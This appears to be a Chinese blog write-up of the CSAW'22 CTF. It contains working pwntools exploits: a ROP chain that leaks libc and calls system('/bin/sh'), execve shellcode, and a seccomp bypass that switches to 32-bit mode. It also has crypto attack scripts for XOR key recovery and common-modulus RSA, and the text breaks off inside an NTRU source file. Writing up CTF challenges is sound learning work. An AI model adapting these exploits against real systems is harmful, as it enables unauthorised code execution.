目录
Crypto: Gotta Crack Them All 未完成
国外的比赛还真有点意思,虽然没作出几道题来,但感觉还是非常不错的。
pwn类的签到题,直接给源码,国外好多者直接给源码,比用go语言啥的强多了。
- #include
- #include
- int init(){
- fclose(stderr);
- setvbuf(stdin, 0, 2, 0);
- setvbuf(stdout, 0, 2, 0);
- }
- int check(char *s){
- char *ptr = s;
- while(*ptr!=0)
- {
- if(*ptr=='\n')
- {
- *ptr = 0; break;
- }
- if(isalpha(*ptr) || *ptr==' ')
- ptr++;
- else
- {
- puts("Hey Hacker! Welcome to CSAW'22!");
- exit(1);
- }
- }
- printf("Nice to meet you, %s! Welcome to CSAW'22!\n",s);
- return 1;
- }
- char * str1 = "My friend, what's your name?";
- void readn(char * buf, size_t len){
- if(read(0,buf,len)<=0)
- exit(1);
- return ;
- }
- void vul(void *buf){
- size_t rdi = 0x00000000004015a3;
- size_t rsi = rdi-2;
- size_t rop[0x100];
- size_t ct = 0 ;
- memset(rop,0,sizeof(rop));
-
- rop[ct++] = buf+0x70; // real ret address
- rop[ct++] = rdi;
- rop[ct++] = str1;
- rop[ct++] = puts;
-
- rop[ct++] = rsi;
- rop[ct++] = 0x100; // rsi
- rop[ct++] = 0x999; // Pad
-
- rop[ct++] = rdi;
- rop[ct++] = buf; // rdi
-
- rop[ct++] = readn;
-
- rop[ct++] = rdi;
- rop[ct++] = buf;
- rop[ct++] = check;
-
- rop[ct++] = 0x40152d;
-
- rop[0x104] = rop;
- return ;
- }
- int main(){
- char buf[100];
- init();
- vul(buf);
- }
-
这里不光给了pop_rdi 还给了真实的返回地址,它自己就是个ROP,唯一卡点就是check需要用 \0绕过。这题也不用本地测试了,直接远程就可以
- from pwn import *
-
- p = remote('pwn.chal.csaw.io', 5002)
-
- context(arch='amd64', log_level='debug')
- elf = ELF('./ezROP')
- pop_rdi = 0x00000000004015a3
- pop_rsi = pop_rdi-2
-
- p.sendlineafter(b"My friend, what's your name?\n", b'\x00'*(0x70+8)+flat(pop_rdi, elf.got['read'], elf.plt['puts'], elf.sym['main']))
- p.recvline()
- libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x10dfc0 #libc6_2.31-0ubuntu9.9_amd64
- system = libc_base + 0x52290
- bin_sh = libc_base + 0x1b45bd
-
- p.sendlineafter(b"My friend, what's your name?\n", b'\x00'*(0x70+8)+flat(pop_rdi+1, pop_rdi, bin_sh, system, elf.sym['_start']))
- p.recvline()
-
-
- p.interactive()
不过有一点比较坑,windows上的pwntools虽然能运行但最后至少了interactive 在linux就正常。
没弄好windows 的环境没作。有个gets溢出,应该很简单。等看到WP收集一下。
这里给了4段小程序相当于一个教程,每一段有一个方法
- #include
- #include
- void init(){
- // Set stdin/stdout unbuffered
- // So folks would not have io(input/output) issues
- fclose(stderr);
- setvbuf(stdin, 0, 2, 0);
- setvbuf(stdout, 0, 2, 0);
- }
- int main(){
- init();
- // A buffer is created to store your shellcode
- char buf[0x100];
- puts("Enter your shellcode: ");
- read(0, buf, 0x100);
- // A functioner point is defined and points to the buffer.
- void (* p )();
- p = (void (*)()) buf;
- // Let's run the shellcode
- p();
- return 0;
- }
第一段是让输入shelccode然后支持执行。每个都给了例子和修改方法,按例子把/bin/sh压栈然后执行59syscall
- from pwn import *
- context.log_level='debug'
- #p = process("./chal")
- p = remote("how2pwn.chal.csaw.io", 60001)
- #context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
- #gdb.attach(p) # attach to debug, don't forget to run "tmux" before running the script
- # Tip: In x64,
- # rdi/rsi/rdx is the register to store the first/second/third parameter of a syscall
- # rax is the syscall number, for example `mov rax,0 ; syscall` means calling read
- # Also, the return value would be stored at rax
-
- # There is a template of syscall(v1,v2,0,0)
- # You can check all Linux x64 syscalls at this page: https://syscalls64.paolostivanin.com/
- # Your task is understanding and completing the shellcode
-
- # And our goal is running exec("/bin/sh",0,0) to get a shell
- # Make sure to hexify the arguments for shellcode!
-
- v1 = 59
- v2 = u64(b'/bin/sh\0')
-
- context.arch = 'amd64'
-
- shellcode = f'''
- xor rax, rax
- xor rdi, rdi
- xor rsi, rsi
- xor rdx, rdx
- mov rax, {v1}
- mov rdi, {v2}
- push rdi
- mov rdi, rsp
- syscall
- '''
-
- p.sendlineafter(": \n",asm(shellcode).ljust(0x100,b'\0'))
- p.interactive()
然后会在/flag里得到下一段的程序样例和票,下一段要先输入票再运行
第二段,是说读入长度不够,需要先用shellcode读入下一段再执行
- #include
- #include
- #include
- #include
- #include
- #include
- void panic(char *s){
- puts(s);
- _exit(1);
- }
- void checkin(){
- // Solved the previous challenge, and find the ticket in "/flag"
- char real_ticket[0x30] = {0};
- char your_ticket[0x30] = {0};
- int f = open("./ticket",0);
- if(f<0)
- panic("[-] Fail to open tickect");
- read(f,real_ticket,0x20);
- read(0,your_ticket,0x20);
- close(f);
- if(strncmp(real_ticket,your_ticket,0x20))
- panic("[-] Wrong Ticket");
- return ;
- }
- void init(){
- fclose(stderr);
- setvbuf(stdin, 0, 2, 0);
- setvbuf(stdout, 0, 2, 0);
- checkin();
- }
- int main(){
- init();
- char buf[0x100];
- puts("Enter your shellcode: ");
- read(0, buf, 0x10);
- // Sorry I am too lazy to type an additional "0"
- void (* p )();
- p = (void (*)())buf;
- p();
- return 0;
- }
改好的例子
- from pwn import *
-
- #p = process("./all/chal2")
- p = remote("how2pwn.chal.csaw.io", 60002)
- # context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
-
- # For this challenge, your task is to get a shell with shorter shellcode: 0x10 bytes
-
- # Tip 1: Some register have the correct values before running our shellcode! Let's use gdb to check these registers!
-
- # Tip 2: The 0x10 bytes length limitation is too strict for execve("/bin/sh") cuz len("/bin/sh")==0x8. \
- # Why don't we call read rather than execve \
- # so we could read longer shellcode and execute "/bin/sh"
-
- context.arch = 'amd64'
- context.log_level = 'debug'
- shellcode = f'''
- xor rax,rax
- mov rdx,0x100
- syscall
- nop
- nop
- '''
- # gdb.attach(p)
- shellcode = asm(shellcode)
- print(len(shellcode))
-
- p.send(b'764fce03d863b5155db4af260374acc1')
-
- p.sendafter(b": \n",shellcode.ljust(0x10,b'\0'))
-
- # If you sent proper shellcode which allows us to read longer shellcode,
- # you can try the following code. It's an easier way to generate shellcode
- p.send(b"\x90"*len(shellcode)+asm(shellcraft.sh()))
-
- p.interactive()
第3段没得到结果,不清楚哪改错了
第3段说用了sec保护要切换到32位模式用orw
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- void panic(char *s){
- puts(s);
- _exit(1);
- }
- void checkin(){
- // Solved the previous challenge, and find the ticket in "/flag"
- char real_ticket[0x30] = {0};
- char your_ticket[0x30] = {0};
- int f = open("./ticket",0);
- if(f<0)
- panic("[-] Fail to open tickect");
- read(f,real_ticket,0x20);
- read(0,your_ticket,0x20);
- close(f);
- if(strncmp(real_ticket,your_ticket,0x20))
- panic("[-] Wrong Ticket");
- return ;
- }
- void init(){
- fclose(stderr);
- setvbuf(stdin, 0, 2, 0);
- setvbuf(stdout, 0, 2, 0);
- checkin();
- }
- void sandbox(){
- // This sandbox forbids lots of syscalls so you can't open the flag!
- struct sock_filter filter[] = {
- // BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, arch)),
- // BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
- // BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
- BPF_STMT(BPF_LD | BPF_W | BPF_ABS,
- offsetof(struct seccomp_data, nr)),
- BPF_JUMP(BPF_JMP | BPF_JGE | BPF_K, 0x40000000 , 0, 1),
- BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
- BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 0, 1),
- BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
- BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 0, 1),
- BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
- BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execve, 0, 1),
- BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
- BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execveat, 0, 1),
- BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
- BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_creat, 0, 1),
- BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
- BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_fork, 0, 1),
- BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
- BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_vfork, 0, 1),
- BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
- BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_clone, 0, 1),
- BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
- BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_kill, 0, 1),
- BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
- BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_tkill, 0, 1),
- BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
- BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_tgkill, 0, 1),
- BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
- BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
- };
- struct sock_fprog prog = {
- .len = sizeof(filter) / sizeof(filter[0]),
- .filter = filter,
- };
- // set no_new_privs
- int ret = 0 ;
- ret = syscall(__NR_prctl,PR_SET_NO_NEW_PRIVS, 1,0,0,0);
- if(ret!=0)
- panic("[-] PR_SET_NO_NEW_PRIVS FAIL");
- // Apply the filter.
- ret = syscall(__NR_seccomp,SECCOMP_SET_MODE_FILTER,0,&prog);
- if(ret!=0)
- panic("[-] SECCOMP_SET_MODE_FILTER FAIL");
- puts("[+] Sandbox On");
- }
- int main(){
- init();
- char buf[0x100];
- puts("Enter your shellcode: ");
- read(0, buf, 0x100);
- void (* p )();
- p = (void (*)())buf;
- sandbox();
- p();
- return 1;
- }
改完的只能在本地执行,远程执行不了
- from pwn import *
- # context.log_level='debug'
- debug = 0
- if debug:
- p = process("./all/chal3")
- else:
- p = remote("how2pwn.chal.csaw.io",60003)
- #p = remote("0.0.0.0", 60003)
-
- # context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
- # 1. In this challenge, you can't open a file because of the strict sandbox
- # 2. But there is a vul about the sanbox, it doesn't check the syscall arch.
- # 3. We can use x86 syscalls to bypass it. All x86 syscalls: https://syscalls32.paolostivanin.com/
- # 4. You may find x86 can't visite x64 address because x64 address is too long to be stored in the x86 register. However, we still have syscall_mmap, which could allocate a chunk of memory, for example 0xcafe000, so we can visite this address in x86 mode.
- # 5. There is a demo for retf: https://github.com/n132/n132.github.io/blob/master/code/GoogleCTF/S2/XxX/pwn.S
-
-
- context.arch = 'amd64'
- context.log_level = 'debug'
-
- sleep(0.1)
- p.send(b'8e7bd9e37e38a85551d969e29b77e1ce')
-
- #mmap(0x10000000, 0x2000, 7)
- mmap = 0xcafe0000
-
- shellcode = f'''
- xor rax,rax
- mov al, 9
- mov rdi,{mmap}
- mov rsi,0x1000
- mov rdx,0x7
- mov r10,0x21
- xor r8,r8
- xor r9,r9
- syscall
- xor rdi,rdi
- mov rsi,{mmap}
- mov rdx,63
- xor rax,rax
- syscall
- mov eax,{mmap}
- mov rbx, 0x2300000000
- xor rax,rbx
- push rax
- '''
-
- #gdb.attach(p)
- #pause()
- shellcode = asm(shellcode)+b'\xcb'# \xcb is retf
- print("[+] len of shellcode: "+str(len(shellcode)))
- p.sendafter(b"Enter your shellcode: \n",shellcode.ljust(0x100,b'\x90'))
-
- context.arch='i386'
- context.bits=32
- flag_path_1 = hex(u32(b"/fla"))
- flag_path_2 = hex(u32(b"g\0\0\0"))
- shellcode=f'''
- mov esp, {mmap+0xd00}
- mov eax, 0x5
- push {flag_path_2}
- push {flag_path_1}
- mov ebx,esp
- xor ecx,ecx
- xor edx,edx
- int 0x80
- mov ebx,eax
- mov al,0x3
- mov ecx,{mmap+0x200}
- mov edx,0x800
- int 0x80
- mov al,0x4
- mov ebx,0x1
- mov ecx,{mmap+0x200}
- mov edx,0x300
- int 0x80
- nop
- nop
- retf
- nop
- '''
- # input()
- shellcode = asm(shellcode)
- print("[+] len of shellcode: "+str(len(shellcode)))
-
- p.send(shellcode.ljust(60, b'\x90'))
-
- p.recv()
-
- p.interactive()
- p.close()
在本地后边的nop,retf其实也用不着,远程会报不同的错,retf是要在执行完后恢复状态,不加会报错。
第4段作不到,先存下,应该是只允许fork,ioctl,exit其它都禁用
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- void panic(char *s){
- puts(s);
- _exit(1);
- }
- void checkin(){
- // Solved the previous challenge, and find the ticket in "/flag"
- char real_ticket[0x30] = {0};
- char your_ticket[0x30] = {0};
- int f = open("./ticket",0);
- if(f<0)
- panic("[-] Fail to open tickect");
- read(f,real_ticket,0x20);
- read(0,your_ticket,0x20);
- close(f);
- if(strncmp(real_ticket,your_ticket,0x20))
- panic("[-] Wrong Ticket");
- return ;
- }
- void init(){
- fclose(stderr);
- setvbuf(stdin, 0, 2, 0);
- setvbuf(stdout, 0, 2, 0);
- checkin();
- }
- void sandbox(){
- // challenge setting
- // This sandbox only allows __NR_seccomp __NR_fork __NR_ioctl __NR_exit
- // and it would trace all other syscalls
- struct sock_filter strict_filter[] = {
- BPF_STMT(BPF_LD | BPF_W | BPF_ABS,offsetof(struct seccomp_data, nr)),
- BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_seccomp, 0, 1),
- BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
- BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_fork, 0, 1),
- BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
- BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_ioctl, 0, 1),
- BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
- BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_exit, 0, 1),
- BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
- BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_TRACE),
- };
- struct sock_fprog prog = {
- .len = sizeof(strict_filter) / sizeof(strict_filter[0]),
- .filter = strict_filter,
- };
- int ret = 0 ;
- ret = syscall(__NR_prctl,PR_SET_NO_NEW_PRIVS, 1,0,0,0);
- if(ret!=0)
- panic("[-] PR_SET_NO_NEW_PRIVS FAIL");
- // Apply the filter.
- ret = syscall(__NR_seccomp,SECCOMP_SET_MODE_FILTER,0,&prog);
- if(ret!=0)
- panic("[-] SECCOMP_SET_MODE_FILTER FAIL");
- puts("[+] Sandbox On");
-
- }
- int main(){
- init();
- // To make exploit script easier, our shellcode would be on 0xcafe000
- char *buf = mmap((void *)0xcafe000,0x1000,7,0x21,0,0);
- if((size_t)buf!=0xcafe000)
- panic("Fail to mmap");
- puts("Enter your shellcode: ");
- read(0, buf, 0x1000);
- void (* p )();
- p = (void (*)())buf;
- sandbox();
- p();
- return 1;
- }
又是一个window题,看来国外win很流行,咱们都改国芯linux了。他们落后了!
web,forensics,misc都不会。签到题和那些好多都是谷歌,推特,油管类的上不去的网站,还有1G的附件的对咱们太不友好了。
MISC收集到一题:
原来这样,把密文2进制第2,4,6位为1时第3,5,7位与1异或
- c = 'wxqvn$Zae${deyZv$d"i'
- flag = ''
- for v in c:
- a = list(bin(ord(v))[2:].zfill(8))
- for i in [2,4,6]:
- if a[i] == '1':
- a[i+1] = str(int(a[i+1])^1)
- flag+=chr(int(''.join(a), 2))
-
- print(flag)
其实一直不明白是什么意思,英文这东西不好理解,机翻以后还是理解不了。
给了一个明文,和一堆密文,问哪个是老板的密码。加密是用的xor,可以很容易得到这个明文是第6个密文。然后就得到key,后边能解出所有明文,但哪个是老板的呢?
给出的明文
Cacturne-Grass-Dark
密文是乱码但也能看
- cr霜繱i凁告櫩
- lz爪轜r冦膏?ks蹋薢r览袈彺??`z战臱b冮多懍p
- kw暮臖a苏襞澒y?kz乒貲u藠炧澗o?陷d
- {w屎莀u蓨夶暰s璲v鲣要
- {u垃逽w冦膏椸U?
- `t式?K蒉胡暜1?淋{
- zs芙蒁r琳粽帰i?凖`鲧
- {~扩肂6檎羔?ks蹋蟐t蹔庴埁n?率l狺要
- |h目蒘u蠆炧澗o
- mc片菵r滤粽帰i?凕{痖?on染腨t輮楜帬}?ci坍荢o凵伎靖{
- lz坠轤c冟従1?灼a?xr韦躍p冮多懍p?轮f
- ln鹿轤t冟墸x?谑j?jz之賈r缞庴埁n
- `r战肁辽粽帰i?
- |t篓豞x冡耕幋1?灼a?nr耍蒠u凁告櫩
- zr省?]抢辨暎{
- mu穴?]钦?{k驻豅~藠燇暱e
- ez斯臱~凁告櫩1?灼a?{r苫蚙w讑楜帬}?j~伞逨i烈豢}??`?鸳
- b砖蒘i冮多懍p?葜l?ez驻繸6庎Z?苤
- `~砖臩i冮多懍p
- iw熏轤z冦洟r?轮f
- |s椰蟏~讑炧澗o
- {k篮躓6煲?ji剩諽u蓨婃櫒p?葜l?`z维罽6翃澿潽s璲杵h咬?ks谰躝u冟従
- ei嬳醎v藠夅叜t?冮n?|t祝蚏n輮燓叅r?xn栅豔i凊恶椸[?哿k
- kt券貳p松粼暱y?侨g徨债
- on叻繷i蕣濗帵1?先`?kz祝臔r缆粽幀o?oi屎繽o坡粼暱y
- oi携蝊u冨
- oz止轞辽襞澒y眏檩`噔?ot薁?_芷君?|s台贑w冦膏?u慆螩)潚顮嚣q爒耷{~末轜6?
加密程序
- with open('key.txt','rb') as f:
- key = f.read()
-
- def encrypt(plain):
- return b''.join((ord(x) ^ y).to_bytes(1,'big') for (x,y) in zip(plain,key))
自己写解密,由于给的明文不够长,所以解出来应该是前一部分。但哪个是呢?
- def encrypt(plain, key):
- return b''.join((x ^ y).to_bytes(1,'big') for (x,y) in zip(plain,key))
-
- from pwn import xor
- import string
-
- code = list(string.printable.encode())
-
- a = b'Cacturne-Grass-Dark'
- c = open('encrypted_passwords.txt', 'rb').read().split(b'\n')
- #原key不够长,第42行Guzzlord-Dark-Drago 20位应该为n b'Guzzlord-Dark-Dragon 0xfb^ord('n') = 0x95
- #key = encrypt(a, b'kz\xc6\xb9\xd9Du\xcb\x8a\x9e\xe0\x9d\xbeo\xee\x03\xcf\xddd\x95')
- key = b'(\x1b\xa5\xcd\xac6\x1b\xae\xa7\xd9\x92\xfc\xcd\x1c\xc3G\xae\xaf\x0f\x95'
- print('keylen:',len(key), key)
- for j,p in enumerate(c):
- m = encrypt(p,key)
- if all([i in code for i in m]):
- print(j+1,len(p),len(m),m)
-
- #只有第50行与众不同
- #50 20 20 b'1n53cu2357234mc1ph32'
- #1n53cu2357234mc1ph32 无包裹
唯一的一个RSA题,只完成了这一个题。一开始试了3次,发现无解。过一天后又开始试了一次,发现有n相同的情况。那就是共模攻击,这个就容易了
- from Crypto.Util.number import long_to_bytes
- from gmpy2 import invert
- # 欧几里得算法
- def egcd(a, b):
- if a == 0:
- return (b, 0, 1)
- else:
- g, y, x = egcd(b % a, a)
- return (g, x - (b // a) * y, y)
-
- def main():
- global n,c1,c2,e1,e2
-
- s = egcd(e1, e2)
- s1 = s[1]
- s2 = s[2]
- # 求模反元素
- if s1<0:
- s1 = - s1
- c1 = invert(c1, n)
- elif s2<0:
- s2 = - s2
- c2 = invert(c2, n)
-
- m = pow(c1,s1,n)*pow(c2,s2,n) % n
- print( long_to_bytes(m) )
-
- N = []
- E = []
- C = []
-
- from pwn import *
- p = remote('crypto.chal.csaw.io', 5000)
- for _ in range(200):
- p.sendlineafter(b'> ', b'1')
- p.recvuntil(b'N = ')
- tn = int(p.recvline())
- p.recvuntil(b'e = ')
- te = int(p.recvline())
- p.recvuntil(b'c = ')
- tc = int(p.recvline())
-
- if tn not in N:
- N.append(tn)
- E.append(te)
- C.append(tc)
- else:
- n = tn
- e1 = E[N.index(tn)]
- c1 = C[N.index(tn)]
- e2 = te
- c2 = tc
- main()
-
-
-
-
- '''
- n = 132545322158190776199352789189142063486867022709380849756407544830537081305140054652259072249766372818405930894093443869754135402659969589309107393617675594143564518436513353986161063815697599067445591044848854877704280592323490700817768820445363733428865691437533783517101758351931660920767371534445301780733
- e1 = 28390832237007797615303276605895353830136149851299131487952866437950594068529
- c1 = 17477090066152527978580119447794592025314713262655495368503646438312219022187119930353800946391345646729024519453076495449057848285958550378524836910492338323559000055186178172307379642601907190404340383495789639653810596420419284256347674923375412031002646645214657786141372974986427388868439504418536051652
- e2 = 35617208372400321480281532859944129895179156313471082512897694534983482611083
- c2 = 94542362731325483096264896884294753666314847255094461457925803531553615324721722301248597528353440193359077600272766696766113278973872198128705533507838808684555164566885441756619048431184346444045465790011423034883085613692118372985993034653619702677802097725305334920243630195371489452037401139970682527836
- '''
-
- #2
- n = 89560691336795161207138552570302450564215243827359167218444523047125457653172201538710660544735642156975892958459213208728292699178908151482948743587713993925679021399856573508073635239306496174484354253917474336135569394332863808424492354445473607621408449504104705127133085229487336665174279208481052472471
- e1 = 20780056983331404509635854658234592870947668817581436436344056883952589844777
- c1 = 70025507849662042551019933338472909210038561808437771253050427552249320521880336442958398563838241992792340232082179558151668995943763709641534371686830648710017322851953410854754898643253923919211457119204170461484645377747971397870948649720268531592518405741969591926121315540051060916926337826708384508472
- e2 = 9819504059501040780180294501444282918456565888546824229108395652117724174323
- c2 = 9172294855265425466838460056473760604520435175436743883017297306026718951826163929018682820514201302661248454362250226849286719982773063895307140855942534626573459727750190263288673500746405878731795171908494356225795633764958005088739139300310449159352313912319572842595125019789387621603752148641215706184
-
- #第一步 多取几组得到相同的n,用共模攻击得到密码
- if __name__ == '__main__':
- main()
第一步成功后,输入得到的密码进行第二步,第2步给出n,e,d要phi
这个通过模版直接处理。后边是交互过程留存。
- from gmpy2 import *
- import random
-
- #第二步根据e,d,n 得到phi
- N = 64608633023924522802315538878491180222429001102011159671433820745170916059652325574320970009140101815653262879796816256305338075323861448773022793202694960839825874438164074482327343466675032686837134944179039198288595559060181129517101480601678135501737419188016859913152104729813965301104332896170043960303
- e = 22681579841004561166186270902536454753351095688981604887726848124548925561445
- d = 22266948095249761281956528408991563762736752105105786304602756892576961141661570394431315297968631775210832726800826339154799603302375112262225062250251683025334404878110778376676601411107626657558428416057040431950538551490501442233921558160470393343416755632367997193472597048712703736505394216146849861645
-
- def getpq(n,e,d):
- while True:
- k = e * d - 1
- g = random.randint(0, n)
- while k%2==0:
- k=k//2
- temp=gmpy2.powmod(g,k,n)-1
- if gmpy2.gcd(temp,n)>1 and temp!=0:
- return gmpy2.gcd(temp,n)
-
- p = getpq(N,e,d)
- print(p)
- q = N//p
- phi = (p-1)*(q-1)
- print(phi)
- #flag{aR3nT_U_tH3_RSA_ninJA}
-
- '''
- shi@shi-virtual-machine:~/ctf/001$ nc crypto.chal.csaw.io 5000
- ********** TOO MUCH IN COMMON **********
- Have at it!
- /------------------------------\
- | COMMANDS |
- | |
- | 1) ciphertext_info |
- | 2) solve_challenge
| - | 3) exit |
- \------------------------------/
- > 2 d0nt_reUs3_c0mm0n_m0duLus_iN_RSA
- ********** What the Phi? **********
- Give me phi and I'll give you a flag
- N = 64608633023924522802315538878491180222429001102011159671433820745170916059652325574320970009140101815653262879796816256305338075323861448773022793202694960839825874438164074482327343466675032686837134944179039198288595559060181129517101480601678135501737419188016859913152104729813965301104332896170043960303
- e = 22681579841004561166186270902536454753351095688981604887726848124548925561445
- d = 22266948095249761281956528408991563762736752105105786304602756892576961141661570394431315297968631775210832726800826339154799603302375112262225062250251683025334404878110778376676601411107626657558428416057040431950538551490501442233921558160470393343416755632367997193472597048712703736505394216146849861645
- /------------------------------\
- | COMMANDS |
- | |
- | 1) try_again |
- | 2) phi
| - | 3) exit |
- \------------------------------/
- > 2 64608633023924522802315538878491180222429001102011159671433820745170916059652325574320970009140101815653262879796816256305338075323861448773022793202694944621270050324126715493546732201685920618847293843717699244774946725282484858671049453843813262870631433423616554627338664139249862599389738993705537427408
- What?! How did you do that??
- flag{aR3nT_U_tH3_RSA_ninJA}
- '''
这个没看明文,是两个pdf和一个加密的pdf,第1个是交互的邮件,第2个估计是银行的税单。
题目
- #!/usr/bin/python3
-
- import hashlib
- import hmac
- import sys
- from base64 import b64encode, b64decode
- from Crypto import Random
- from Crypto.Cipher import AES
-
- key = open('./key', 'r').read().strip().encode()
- flag = open('./flag.txt', 'r').readline().strip().encode()
-
-
- def get_hmac(m):
- return hmac.new(key, msg=m, digestmod=hashlib.sha256).digest()
-
-
- def hmac_is_valid(pt):
- digest = pt[-32:]
- msg = pt[:-32]
- return equal_bytearrays(hmac.new(key, msg=msg, digestmod=hashlib.sha256).digest(), digest)
-
-
- def equal_bytearrays(a1, a2):
- if len(a1) != len(a2):
- return False
- else:
- for i in range(len(a1)):
- if a1[i] != a2[i]:
- return False
- return True
-
-
- def pad(pt):
- pad_value = 16 - len(pt) % 16
- pt = pt + (chr(pad_value) * pad_value).encode()
- return pt
-
-
- def verify_padding_and_unpad(pt):
- pad_value = pt[-1]
- if pad_value == 0 or pad_value > 32:
- return False
- else:
- pt = pt[:(-1 * pad_value)]
- return pad_value, pt
-
-
- def encrypt(pt):
- iv = Random.new().read(AES.block_size)
- cipher = AES.new(key, AES.MODE_CBC, iv)
- ct = cipher.encrypt(pt)
- ct = iv + ct
- ct = b64encode(ct)
- return ct
-
-
-
- def decrypt(ct):
- ct_incl_iv = b64decode(ct)
- iv, ct = ct_incl_iv[:16], ct_incl_iv[16:]
- cipher = AES.new(key, AES.MODE_CBC, iv)
- return cipher.decrypt(ct)
-
-
- def decrypt_and_verify(ct):
- pt = decrypt(ct)
- pad, pt = verify_padding_and_unpad(pt)
- if pt and hmac_is_valid(pt):
- print(
- "\nValid plaintext. We assume you have purchased our flag decryption key and can therefore read the flag. Thank you for your patronage.\n")
-
- return True
- print("Something went wrong during decryption. Try again?")
- return False
-
-
- def get_canine_order():
- print("What type of canine would you like to purchase?")
- print("> ", end="")
- canine_type = input().encode()
- print("\nHow many would you like to purchase? (We have unlimited supplies...)")
- print("> ", end="")
- canine_quant = input().encode()
- return canine_type, canine_quant
-
-
- def process_encryption():
- canine_type, canine_order = get_canine_order()
-
- msg = b"Congratulations, you just completed your " + canine_type + b" purchase instead of buying this beautiful flag: " + flag
- msg += b". What were you thinking? Fortunately you have helped " + canine_order + b" canines and puppies find homes"
- hmac = get_hmac(msg)
- pt = msg + hmac
- pt = pad(pt)
- ct = encrypt(pt)
- print()
- print(b"A plane flies overhead flying a banner that reads: " + ct, "\n")
- return ct
-
-
- def get_selection():
- print("Enter your selection:")
- print(" 1) Enter the shop")
- print(" 2) Decrypt")
- print(" 3) Leave the shop\n")
- print("> ", end='')
- selection = input().strip()
- if selection in list('123'):
- print("")
- return selection
- else:
- print("Error: Invalid selection.")
- exit(0)
-
-
- def main():
- print("********** C S A W G I F T S H O P **********\n")
- print(" Welcome to the CSAW Canine Gift Shop! ")
- print("Leaving city dwellers have asked us to find home for their MANY canine friends.")
- print("We have canines of all kinds ... as well as encrypted flags constantly flying ")
- print("overhead and a key to decrypt them that should be well within your price range.\n\n")
-
- while (1):
- selection = int(get_selection())
- try:
- if selection == 1:
- process_encryption()
- sys.stdout.flush()
- elif selection == 2:
- print("Enter the base64-encoded ciphertext to decrypt: ")
- print("> ", end='')
- ct = input().encode()
- decrypt_and_verify(ct)
- sys.stdout.flush()
- elif selection == 3:
- print("Thank you for shopping with CSAW!")
- exit(0)
- else:
- print("Error: invalid menu option.")
- raise Exception
- except Exception as ex:
- print("\nSomething went wrong......try again?\n")
- sys.stdout.flush()
-
-
- if __name__ == "__main__":
- main()
看上去是个AES padding oracle攻击,找了个模版运行不了,以后得找个能运行保存。好好学学
两量子位的计算机网上说是一个4阶矩阵啥的,不清楚怎么算。
程序cipher.py:
- from cipher.mathutils import *
- import numpy as np
- from sympy.abc import x
- from sympy.polys.polyerrors import NotInvertible
- from sympy import ZZ, Poly
- from collections import Counter
-
-
- class Cipher:
- N = None
- p = None
- q = None
- f_poly = None
- g_poly = None
- h_poly = None
- f_p_poly = None
- f_q_poly = None
- R_poly = None
-
- def __init__(self, N, p, q):
- self.N = N
- self.p = p
- self.q = q
- self.R_poly = Poly(x ** N - 1, x).set_domain(ZZ)
-
- def generate_random_keys(self):
- g_poly = random_poly(self.N, int(math.sqrt(self.q)))
- tries = 10
- while tries > 0 and (self.h_poly is None):
- f_poly = random_poly(self.N, self.N // 3, neg_ones_diff=-1)
- try:
- self.generate_public_key(f_poly, g_poly)
- except NotInvertible as ex:
- tries -= 1
- if self.h_poly is None:
- raise Exception("Couldn't generate invertible f")
-
- def generate_public_key(self, f_poly, g_poly):
- self.f_poly = f_poly
- self.g_poly = g_poly
- self.f_p_poly = invert_poly(self.f_poly, self.R_poly, self.p)
- self.f_q_poly = invert_poly(self.f_poly, self.R_poly, self.q)
- p_f_q_poly = (self.p * self.f_q_poly).trunc(self.q)
